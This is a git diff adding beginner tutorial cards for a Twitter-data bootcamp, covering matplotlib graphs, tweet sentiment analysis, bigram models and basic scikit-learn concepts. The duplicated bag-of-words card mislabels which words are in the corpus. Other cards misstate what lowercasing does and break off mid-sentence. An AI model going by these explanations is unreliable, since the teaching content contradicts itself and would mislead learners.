+Now that your bars are set up, your graph most likely looks unorganized. To organize our graph better, we can set margins to the x ticks to space them out. Because the specifics of how to space out x tick labels can get quite complicated and out of the scope of this bootcamp, I'll provide a chunk of code for you here:
+
+```python
+# space out x ticks and give margins
+plt.gca().margins(x=0)
+plt.gcf().canvas.draw()
+tl = plt.gca().get_xticklabels()
+maxsize = max([t.get_window_extent().width for t in tl])
+m = 0.1 # inch margin
+s = maxsize/plt.gcf().dpi*7+2*m
+margin = m/plt.gcf().get_size_inches()[0]
+
+plt.gcf().subplots_adjust(left=margin, right=1.-margin)
+plt.gcf().set_size_inches(s, plt.gcf().get_size_inches()[1])
+```
+
+This code should space out your x ticks and set margins.
+
+Don't forget a title (`plt.title`) and a legend (`plt.legend`)!
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/43.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/43.md
new file mode 100644
index 00000000..224384de
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/43.md
@@ -0,0 +1,5 @@
+# Text Labels
+
+To add text labels, we'll have to iterate through all the bars and append an appropriate label to each one. So firstly, set up a list called `labels`, that has all the positive, neutral and negative data *in one list*.
+
+We can use `ax.patches` to find a list of all the bars currently in the graph. We can then `zip` the labels and patches together, iterate through that, and for each patch use `ax.text` to attribute a label to each bar. Make sure you have an appropriate location when using `ax.text`!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/5.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/5.md
new file mode 100644
index 00000000..45f890d6
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/5.md
@@ -0,0 +1,3 @@
+# `main()`
+
+It's time to put all of our functions together into a program! Call `produce_dataframe()` and `produce_graph` inside of your main() function with the proper parameters, and run your main() to see your graphs made!
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/README.md b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/README.md
new file mode 100644
index 00000000..510698a9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module3-Sentiment-Analysis/Lab-Democratic-Debate-Sentiment/README.md
@@ -0,0 +1,20 @@
+# Activity/Lab Name
+
+Democratic Debate Sentiment
+
+# Long Summary
+
+Students will use the `tweepy` and `textblob` Python modules to utilize the Twitter API and perform sentiment analysis on tweets about the Democratic Debates. Students will then use Python modules `pandas` and `matplotlib` to make a dataframe and graph the information appropriately.
+
+# Short Summary
+
+Students will use the Twitter API to analyze sentiments about Democratic Debate tweets
+
+# Criteria
+
+1. How would you use a Tweepy cursor object to get Tweets from the Twitter API?
+2. What's the difference between a time series dataframe and a regular dataframe?
+
+# Difficulty
+
+Medium
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/1.md
new file mode 100644
index 00000000..b87b3f01
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/1.md
@@ -0,0 +1,18 @@
+
+
+## Introduction to N-grams
+
+
+So if we have a sentence, how can the computer know exactly what it means?
+
+For humans, we can tell because we understand the language and know the different definition but the computer isn't like us and that's why we have and use n-grams in NLP (natural language processing).
+
+N-grams help the computer use surrounding context to figure out what exactly what the words mean. In this activity, we'll learn about bigrams, a type of n-gram.
+
+## N-gram Models
+
+With the understanding of how N-grams work, we'll now talk about the models. N-grams models are built with n-grams.
+
+Models use the N-1 previous words to predict the occurrence of a word in a phrase or sentence.
+
+Say we have a bigram, then it's 2-1=1. The computer will use the previous word. In a trigram, it's 3-1=2 so the computer will the the previous 2 words.
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/2.md
new file mode 100644
index 00000000..68a7aa5c
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/2.md
@@ -0,0 +1,31 @@
+
+
+## Bigrams
+
+Bigram is a n-gram where n=2. It uses the word and its previous OR next word to calculate the probablity of the word match to a certain definition.
+
+For example, San Francisco is a bigram. If the computer were to read this, it would have no idea what it means.
+
+Let's use the word "Francisco". How can the computer know this word is part of a city's name and not just a person whose name is Francisco?
+
+Well, it can look at the occurance () of the surrounding words. Since this is a bigram and there are only 2 words, the computer detedcts there is a previous word it can use for a clue. When it knows the word before "Francisco" is "San", the probablity of the phrase being a the city rather than a person's name is higher and therefore the computer will make a decision that this prase is a city.
+
+## Calculating Probability with Bigram Models
+
+For further explantion, we'll use a large sample of sentences in English, usually known as corpus.
+
+Our exmaple corpus contains:
+
+ 1. He said thank you.
+ 2. He said bye as he walked through the door.
+ 3. He went to San Diego.
+ 4. San Diego has nice weather.
+ 5. It is raining in San Francisco.
+
+Generally, to calculate probability, the formula is:
+ (No. of times "your bigram" occurs)/ (No. of times "your word" occurs)
+
+For example using this corpus, we can try:
+ =(No of times “San Diego” occurs) / (No. of times “San” occurs)
+ = 2/3
+ = 0.67
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/3.md
new file mode 100644
index 00000000..27cf191f
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/3.md
@@ -0,0 +1,29 @@
+
+
+## Libraries
+
+Before we start, let's do the basics so we have access to data and have a smooth sailing through this activity.
+
+Open up a new file in your editor of choice. You probably want to store it in the folder where you have all your other Twitter APL activities' code to keep things organized.
+
+In your new file, you should import these libraries:
+```python
+import os
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+import seaborn as sns
+import itertools
+import collections
+
+import tweepy as tw
+import nltk
+from nltk import bigrams
+from nltk.corpus import stopwords
+import re
+import networkx as nx
+
+import warnings
+```
+We will be needing these libraries for our work.
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/4.md
new file mode 100644
index 00000000..47797db4
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/4.md
@@ -0,0 +1,20 @@
+
+
+## Twitter Authentication
+
+In order to be able to get Twitter data, you must have to use your Twitter developer account.
+
+You have have made one from the very first activities set. Go onto the website and please log-in to get your personal access code.
+
+Add this:
+
+ consumer_key= 'yourkeyhere'
+ consumer_secret= 'yourkeyhere'
+ access_token= 'yourkeyhere'
+ access_token_secret= 'yourkeyhere'
+
+ auth = tw.OAuthHandler(consumer_key, consumer_secret)
+ auth.set_access_token(access_token, access_token_secret)
+ api = tw.API(auth, wait_on_rate_limit=True)
+
+Here, we're just going to get make variables to hold your keys so the code looks nicer.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/5.md
new file mode 100644
index 00000000..d1a457c4
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/5.md
@@ -0,0 +1,40 @@
+
+
+## Getting Tweets
+
+Let's grab 1000 recent tweets on the topic of climate change.
+
+```python
+search_term = "#climate+change -filter:retweets"
+
+tweets = tw.Cursor(api.search,
+ q=search_term,
+ lang="en",
+ since='2018-11-01').items(1000)
+```
+First, we want to decide some key words what's called a search term to use to narrow down data that we'll be getting from Twitter. Then, we're using the Cursor* object from Tweepy to help us search for 1000 tweets starting from November 1, 2018 about climate change. You can also try a more recent day if you'd like but for this example, we will be using November 1, 2018.
+
+It will also make sure that tweets we get will be in English. If you want tweets in another language, you'll want to type in another acronym for it. All this information will be stored in ``tweets`` as a list.
+
+*Cursor is Tweepy's way of going through "pages" of their user data (pagination).
+
+Next, add this code:
+```python
+def remove_url(txt):
+ """Replace URLs found in a text string with nothing
+ (i.e. it will remove the URL from the string).
+
+ Parameters
+ ----------
+ txt : string
+ A text string that you want to parse and remove urls.
+
+ Returns
+ -------
+ The same txt string with url's removed.
+ """
+
+ return " ".join(re.sub("([^0-9A-Za-z \t])|(\w+:\/\/\S+)", "", txt).split())
+```
+
+This code is actually a function we named ``remove_url``. It will take a string you give it as the areguement, ``txt``, then clean it up but taking out any symbols that are't English letters. We will use this function to help us easier extract bigrams later.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/6.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/6.md
new file mode 100644
index 00000000..22c09d75
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/6.md
@@ -0,0 +1,42 @@
+
+
+## Cleaning Tweets
+
+We want clean tweets thats consist of only English words and nothing else (such as puncutation, URLs, etc.). Only clean tweets will help us better see bigrams.
+
+Add this to your code:
+```python
+tweets_no_urls = [remove_url(tweet.text) for tweet in tweets]
+
+words_in_tweet = [tweet.lower().split() for tweet in tweets_no_urls]
+```
+
+This will further clean our text part of the tweets.
+
+``tweets_no_URL`` uses the function we write in the last card to remove any non English letters and/or URLs from our tweet texts list.
+
+``words_in_tweet`` makes sure that all the letters in the tweets are not lowercase.
+
+Next, add:
+```python
+nltk.download('stopwords')
+stop_words = set(stopwords.words('english'))
+```
+Here, we will download a list of stop words to help us filter words that we do not want to analyze in bigram models.
+
+Stop words are common words (such as “the”, “a”, “an”, “in”) that we don't want to have and take up vauble space.
+
+``stop_words`` will hold our set of stop words in English so that we can use it to weed them out from our tweets.
+
+Next, add:
+```python
+tweets_nsw = [[word for word in tweet_words if not word in stop_words] for tweet_words in words_in_tweet]
+
+# Remove collection words
+collection_words = ['climatechange', 'climate', 'change']
+
+tweets_nsw_nc = [[w for w in word if not w in collection_words] for word in tweets_nsw]
+```
+
+``tweets_nsw`` will now hold the list of tweets without anymore stop words.
+``tweets_nsw_nc`` will next hold the
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/7.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/7.md
new file mode 100644
index 00000000..237dfb6d
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/7.md
@@ -0,0 +1,29 @@
+
+
+## Making a Bigram with a Cleaned Tweet
+
+We're going to doing the analyzing part since we got all the tweet prepped. For a sample, we're just going to play with the first tweet for now.
+
+Add this code:
+
+```python
+terms_bigram = [list(bigrams(tweet)) for tweet in tweets_nsw_nc]
+
+terms_bigram[0]
+tweets_no_urls[0]
+```
+
+Here, we'll a list of each tweet turned into bigrams.
+
+Let's see how the bigrams turn out! If you run your program, the second line of code should print out the very first item of your list and the third line should print out how the tweet originally looks like after being cleaned. It should just look something like this printed:
+
+```python
+[('januarys', 'dry'), ('dry', 'handsravaged'), ('handsravaged', 'landturning'), ('landturning', 'timberto'), ('timberto', 'ashsinew'), ('ashsinew', 'tosmokelivelihood'), ('tosmokelivelihood', 'nogoodonly')('nogoodonly', 'words'), ('words', 'holl')]
+Januarys dry handsravaged our landturning timberto ashsinew tosmokelivelihood nogoodonly words some holl
+```
+
+Notice how the the tweet has changed. In the list, you can see that they're paired up with words that came before and after them in the text. This is an simple example of the bigram model.
+
+If you want, you're welcome to try any other tweet in your list by chainging the indexes of ``terms_bigram[0]`` and ``tweets_no_urls[0]``. (Number 0 to 999 only becuase remember, we only collected 1000 of the most recent tweets! )
+
+Note: you can comment out the 2 lines of code that will print stuff so that moving on, you won't have to see them again when we run the program.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/8.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/8.md
new file mode 100644
index 00000000..8eec0153
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act10_Word_Networks_Tweets/8.md
@@ -0,0 +1,25 @@
+
+
+## Bigrams frequency
+
+Want to know which bigrams appear the most in your list of tweets?
+
+We can use a Counter object to take the bigrams as dictionary keys and their counts are as dictionary values.
+
+Add this code:
+
+```python
+bigrams = list(itertools.chain(*terms_bigram))
+bigram_counts = collections.Counter(bigrams)
+bigram_counts.most_common(20)
+```
+
+Here, we will be flattening our list of bigrams. Flattening will remove the brackets on the list of bigrams allow work to be done on it, in this case using a counter.
+
+We'll be using the ``chain()`` function from itertools library. ``chain()`` function will treat consecutive sequences as a single sequence.
+
+Then ``collections.Counter`` create Counter object from the Collections library that stores elements as dictionary keys, and their counts are stored as dictionary values with your list of flattened bigrams.
+
+Next, ``most_common`` function will be used on the Counter object to sort the like from the most occuring bigrams to the least and print out the top 20. Run your programt should look something like this:
+
+
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/0.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/0.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/0.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/0.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/1.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/1.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/1.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/1.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/2.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/2.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/2.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/3.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/3.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/3.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/4.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/4.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/4.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/5.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/5.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/5.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/6.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/6.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/6.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/6.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/7.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/7.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/7.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/7.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/8.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/8.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/8.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/8.md
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 3.md
new file mode 100644
index 00000000..2b04a661
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 3.md
@@ -0,0 +1,51 @@
+# Bag Of Words
+
+We first train our Bag of Words with some sample text
+
+Let's say we have the following string
+
+```python
+s1 = "The apple is red"
+```
+
+We store this phrase into our corpus (our known words).
+
+
+
+Now we want to transform other strings into vectors based on the first sentence.
+
+Let's say we want a vectorized version of:
+
+```python
+s2 = "The orange is not red"
+```
+
+Our corpus knows the words "The", "apple", "is", and "red".
+
+The words in `s2` that are also in our corpus (currently only `s1`) are "The", "is", and "red". These words have a value of 1 in the final vector, while the other two words "orange" and "not" have a value of 0 because they are not in our corpus (`s1`).
+
+```
+Corpus: ["The", "apple", "is", "red"]
+# s2 was "The orange is not red"
+# after Bag of Words, it is [1, 0, 1, 0, 1]
+
+[ 1 0 1 0 1 ]
+ The orange is not red
+```
+
+"The" → inside corpus → 1
+
+"orange" → not inside corpus → 0
+
+"is" → inside corpus → 1
+
+"not" → inside corpus → 0
+
+"red" → not inside corpus → 1
+
+So our final vector for "The orange is not red" is
+
+```python
+[1, 0, 1, 0, 1]
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 4.md
new file mode 100644
index 00000000..2b04a661
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 4.md
@@ -0,0 +1,51 @@
+# Bag Of Words
+
+We first train our Bag of Words with some sample text
+
+Let's say we have the following string
+
+```python
+s1 = "The apple is red"
+```
+
+We store this phrase into our corpus (our known words).
+
+
+
+Now we want to transform other strings into vectors based on the first sentence.
+
+Let's say we want a vectorized version of:
+
+```python
+s2 = "The orange is not red"
+```
+
+Our corpus knows the words "The", "apple", "is", and "red".
+
+The words in `s2` that are also in our corpus (currently only `s1`) are "The", "is", and "red". These words have a value of 1 in the final vector, while the other two words "orange" and "not" have a value of 0 because they are not in our corpus (`s1`).
+
+```
+Corpus: ["The", "apple", "is", "red"]
+# s2 was "The orange is not red"
+# after Bag of Words, it is [1, 0, 1, 0, 1]
+
+[ 1 0 1 0 1 ]
+ The orange is not red
+```
+
+"The" → inside corpus → 1
+
+"orange" → not inside corpus → 0
+
+"is" → inside corpus → 1
+
+"not" → inside corpus → 0
+
+"red" → not inside corpus → 1
+
+So our final vector for "The orange is not red" is
+
+```python
+[1, 0, 1, 0, 1]
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 5.md
new file mode 100644
index 00000000..2b04a661
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords 5.md
@@ -0,0 +1,51 @@
+# Bag Of Words
+
+We first train our Bag of Words with some sample text
+
+Let's say we have the following string
+
+```python
+s1 = "The apple is red"
+```
+
+We store this phrase into our corpus (our known words).
+
+
+
+Now we want to transform other strings into vectors based on the first sentence.
+
+Let's say we want a vectorized version of:
+
+```python
+s2 = "The orange is not red"
+```
+
+Our corpus knows the words "The", "apple", "is", and "red".
+
+The words in `s2` that are also in our corpus (currently only `s1`) are "The", "is", and "red". These words have a value of 1 in the final vector, while the other two words "orange" and "not" have a value of 0 because they are not in our corpus (`s1`).
+
+```
+Corpus: ["The", "apple", "is", "red"]
+# s2 was "The orange is not red"
+# after Bag of Words, it is [1, 0, 1, 0, 1]
+
+[ 1 0 1 0 1 ]
+ The orange is not red
+```
+
+"The" → inside corpus → 1
+
+"orange" → not inside corpus → 0
+
+"is" → inside corpus → 1
+
+"not" → inside corpus → 0
+
+"red" → not inside corpus → 1
+
+So our final vector for "The orange is not red" is
+
+```python
+[1, 0, 1, 0, 1]
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords.md
new file mode 100644
index 00000000..2b04a661
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/BagOfWords.md
@@ -0,0 +1,51 @@
+# Bag Of Words
+
+We first train our Bag of Words with some sample text
+
+Let's say we have the following string
+
+```python
+s1 = "The apple is red"
+```
+
+We store this phrase into our corpus (our known words).
+
+
+
+Now we want to transform other strings into vectors based on the first sentence.
+
+Let's say we want a vectorized version of:
+
+```python
+s2 = "The orange is not red"
+```
+
+Our corpus knows the words "The", "apple", "is", and "red".
+
+The words in `s2` that are also in our corpus (currently only `s1`) are "The", "is", and "red". These words have a value of 1 in the final vector, while the other two words "orange" and "not" have a value of 0 because they are not in our corpus (`s1`).
+
+```
+Corpus: ["The", "apple", "is", "red"]
+# s2 was "The orange is not red"
+# after Bag of Words, it is [1, 0, 1, 0, 1]
+
+[ 1 0 1 0 1 ]
+ The orange is not red
+```
+
+"The" → inside corpus → 1
+
+"orange" → not inside corpus → 0
+
+"is" → inside corpus → 1
+
+"not" → inside corpus → 0
+
+"red" → not inside corpus → 1
+
+So our final vector for "The orange is not red" is
+
+```python
+[1, 0, 1, 0, 1]
+```
+
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 3.md
new file mode 100644
index 00000000..3f4db139
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 3.md
@@ -0,0 +1,9 @@
+# Grid Search
+
+In supervised learning, we make models, train them, then use them to predict values given an input.
+
+However, which hyperparameters yields the model with the highest accuracy?
+
+Instead of guessing each combination of hyperparameters (which could take a long time), we can use grid search in a programmatic way.
+
+Grid Search goes through each combination of hyperparameters we provide it and returns the score or accuracy of the prediction.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 4.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 4.md
new file mode 100644
index 00000000..3f4db139
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 4.md
@@ -0,0 +1,9 @@
+# Grid Search
+
+In supervised learning, we make models, train them, then use them to predict values given an input.
+
+However, which hyperparameters yields the model with the highest accuracy?
+
+Instead of guessing each combination of hyperparameters (which could take a long time), we can use grid search in a programmatic way.
+
+Grid Search goes through each combination of hyperparameters we provide it and returns the score or accuracy of the prediction.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 5.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 5.md
new file mode 100644
index 00000000..3f4db139
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch 5.md
@@ -0,0 +1,9 @@
+# Grid Search
+
+In supervised learning, we make models, train them, then use them to predict values given an input.
+
+However, which hyperparameters yields the model with the highest accuracy?
+
+Instead of guessing each combination of hyperparameters (which could take a long time), we can use grid search in a programmatic way.
+
+Grid Search goes through each combination of hyperparameters we provide it and returns the score or accuracy of the prediction.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch.md
new file mode 100644
index 00000000..3f4db139
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/GridSearch.md
@@ -0,0 +1,9 @@
+# Grid Search
+
+In supervised learning, we make models, train them, then use them to predict values given an input.
+
+However, which hyperparameters yields the model with the highest accuracy?
+
+Instead of guessing each combination of hyperparameters (which could take a long time), we can use grid search in a programmatic way.
+
+Grid Search goes through each combination of hyperparameters we provide it and returns the score or accuracy of the prediction.
\ No newline at end of file
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting 3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting 3.md
new file mode 100644
index 00000000..26adf073
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting 3.md
@@ -0,0 +1,6 @@
+# Data Splitting
+
+Generally, in supervised learning, we need to train our models with some portion of the entire data, and use the rest of it to see how well it learned.
+
+We need both a training set and a testing set.
+
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting.md
new file mode 100644
index 00000000..26adf073
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/datasplitting.md
@@ -0,0 +1,6 @@
+# Data Splitting
+
+Generally, in supervised learning, we need to train our models with some portion of the entire data, and use the rest of it to see how well it learned.
+
+We need both a training set and a testing set.
+
diff --git a/Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters 2.md
similarity index 100%
rename from Module_Twitter_API/activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters.md
rename to Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters 2.md
diff --git a/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters 3.md b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters 3.md
new file mode 100644
index 00000000..f7bb06f1
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/other-activities/Act11_Intro to ML with Sci-kit Learn/Concepts/hyperparameters 3.md
@@ -0,0 +1,5 @@
+# Hyperparameters
+
+Hyperparameters are parameters we set for our machine learning models before they begin learning.
+
+We can tune how well our models perform by tweaking the values of each hyperparameters, meaning each combination of hyperparameters yield a different model.
\ No newline at end of file
